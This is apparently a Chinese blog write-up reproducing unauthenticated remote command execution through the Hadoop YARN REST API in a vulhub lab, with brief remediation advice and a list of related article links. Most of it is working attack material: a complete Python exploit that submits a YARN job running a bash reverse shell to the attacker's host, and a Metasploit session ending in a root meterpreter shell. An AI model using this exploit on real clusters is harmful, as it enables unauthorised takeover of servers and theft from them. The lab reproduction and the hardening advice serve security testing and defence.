【漏洞复现】Hadoop YARN 资源管理系统 REST API未授权访问
0x01 概述
Hadoop是一款由Apache基金会推出的分布式系统框架,它通过著名的 MapReduce 算法进行分布式处理,Yarn是Hadoop集群的资源管理系统。YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当可导致未授权访问的问题,攻击者无需认证即可通过REST API部署任务来执行任意指令,最终完全控制服务器。
0x02 影响范围
(1)Apache Hadoop YARN资源管理系统
(2)对外开启以下作用的端口:
yarn.resourcemanager.webapp.address,默认端口8088
yarn.resourcemanager.webapp.https.address,默认端口8090
0x03 简单检测
(1)环境:vulhub
(2)访问http://192.168.178.128:8008
出现hadoop未授权访问页面。
(3)构造POST请求,返回如下信息证明存在
curl -X POST 192.168.178.128:8088/ws/v1/cluster/apps/new-application
0x04 漏洞复现
修改exp脚本目标url、本地IP、监听端口,然后开启本地监听9999端口(与脚本一致即可)准备反弹shell,执行exp脚本文件python3 hadooprce.py
,即可获取shell
hadooprce.py文件内容:
import requests#python3
target = 'http://192.168.178.128:8088/' # put your remote host IP here
lhost = '192.168.178.129' # put your local host IP hereurl = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
print(resp.text)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {'application-id': app_id,'application-name': 'get-shell','am-container-spec': {'commands': {'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,},},'application-type': 'YARN',
}
print (data)
requests.post(url, json=data)
也可以利用msf的模块:
msf5 > use exploit/linux/http/hadoop_unauth_exec
msf5 exploit(linux/http/hadoop_unauth_exec) > set rhosts 192.168.178.128
rhosts => 192.168.178.128
msf5 exploit(linux/http/hadoop_unauth_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(linux/http/hadoop_unauth_exec) > set lhost 192.168.178.129
lhost => 192.168.178.129
msf5 exploit(linux/http/hadoop_unauth_exec) > set lport 4444
lport => 4444
msf5 exploit(linux/http/hadoop_unauth_exec) > exploit [*] Started reverse TCP handler on 192.168.178.129:4444
[*] Sending Command
[*] Command Stager progress - 100.00% done (763/763 bytes)
[*] Sending stage (980808 bytes) to 192.168.178.128
[*] Meterpreter session 1 opened (192.168.178.129:4444 -> 192.168.178.128:36834) at 2020-12-17 17:42:02 +0800meterpreter > getuid
Server username: no-user @ 1ab507230acc (uid=0, gid=0, euid=0, egid=0)
meterpreter >
0x05 修复建议
1.通过iptables或者安全组配置访问策略,限制对8088等端口的访问,不要将接口开放在公网,改为本地或者内网调用;
2.Hadoop在2.X以上版本提供了安全认证功能,加入了 认证机制,建议启用Kerberos认证功能。
【漏洞复现】Hadoop YARN 资源管理系统 REST API未授权访问相关推荐
- Docker远程API未授权访问导致的Docker逃逸
Docker远程API未授权访问导致的Docker逃逸 前言 是给社团学弟学妹们一次讲课的一次md. 服务器 https://cloud.tencent.com/act/campus 当然想要复现学习 ...
- docker remote api未授权访问漏洞(端口:2375)
漏洞介绍: 该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url操作docker. docker ...
- 关于docker remote api未授权访问漏洞的学习与研究
漏洞介绍: 该未授权访问漏洞是因为docker remote api可以执行docker命令,从官方文档可以看出,该接口是目的是取代docker 命令界面,通过url操作docker. docker ...
- Hadoop Yarn REST API未授权漏洞利用挖矿分析
目录 一.背景情况 二. 漏洞说明 攻击步骤: 三.入侵分析 四.安全建议 清理病毒 安全加固 五.IOCs 一.背景情况 5月5日腾讯云安全曾针对攻击者利用Hadoop Yarn资源管理系统RES ...
- 二十八种未授权访问漏洞合集(暂时最全)
目录 0x01 未授权漏洞预览 0x02 Active MQ 未授权访问 0x03 Atlassian Crowd 未授权访问 0x04 CouchDB 未授权访问 0x05 Docker 未授权访问 ...
- 常用的30+种未授权访问漏洞汇总
未授权访问漏洞汇总预览 1 .FTP 未授权访问(21) 2 .LDAP 未授权访问(389) 3 .Rsync 未授权访问(873) 4 .ZooKeeper 未授权访问(2181) 5 .Dock ...
- Hadoop 未授权访问 getshell
漏洞概述 YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建.任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访 ...
- 【应急类漏洞】————1、未授权访问漏洞总结
前言 2018年5月,比特币勒索病毒 WannaCry 席卷全球,国内众多机构部门计算机系统瘫痪.根据之前应急响应的案例分析,以及一些安全报告统计,目前大部分的勒索病毒均利用未授权访问等通用漏洞进行植 ...
- api zoom 实现自动预定_ZoomEyeAPI批量抓取与Redis未授权访问
介绍 Zoomeye是知道创宇开发的一款很厉害的搜索引擎,不过相对于传统的百度,它是用作搜索主机设备,web应用指纹.ZoomEye 支持公网设备指纹检索和 Web 指纹检索网站指纹包括应用名.版本. ...
- Docker未授权访问漏洞
文章目录 一.漏洞介绍 1.1 漏洞成因 1.2 漏洞概况 二.攻击过程 2.1 信息收集 2.2 漏洞探测 2.3 漏洞利用 三.防御方法 一.漏洞介绍 1.1 漏洞成因 又叫Docker Re ...
最新文章
- ThinkPHP入门(二)
- nyoj A+B Problem IV
- jQuery遍历(1)
- 操作系统:再见CentOS,将于本月底终止维护!
- python二级简书_12月4日,总结发现杯,备战python二级
- 13.深度学习练习:Autonomous driving - Car detection(YOLO实战)
- 从C语言到C++的进阶之C到C++的转变(篇一)
- mvc actionresult返回各种文件
- 关于马尔科夫链的期望收益在matlab中的实现
- HUAWEI 机试题:统计射击比赛成绩
- 一篇2006年的文章和一部2015年的名著
- 固态硬盘、机械硬盘、手机的“内存”有三种
- GUI设计和UI设计有什么区别?
- 将秒数换算成具体的天时分秒
- python之路——进程
- 雪峰磁针石博客]渗透测试简介2入侵工具
- win7不提示计算机重名,VMware安装win7系统提示网络上有重名怎么解决
- 当年的Windows98
- 利用Python制作微信机器人(二)
- Linux 系统下Eclipse安装及使用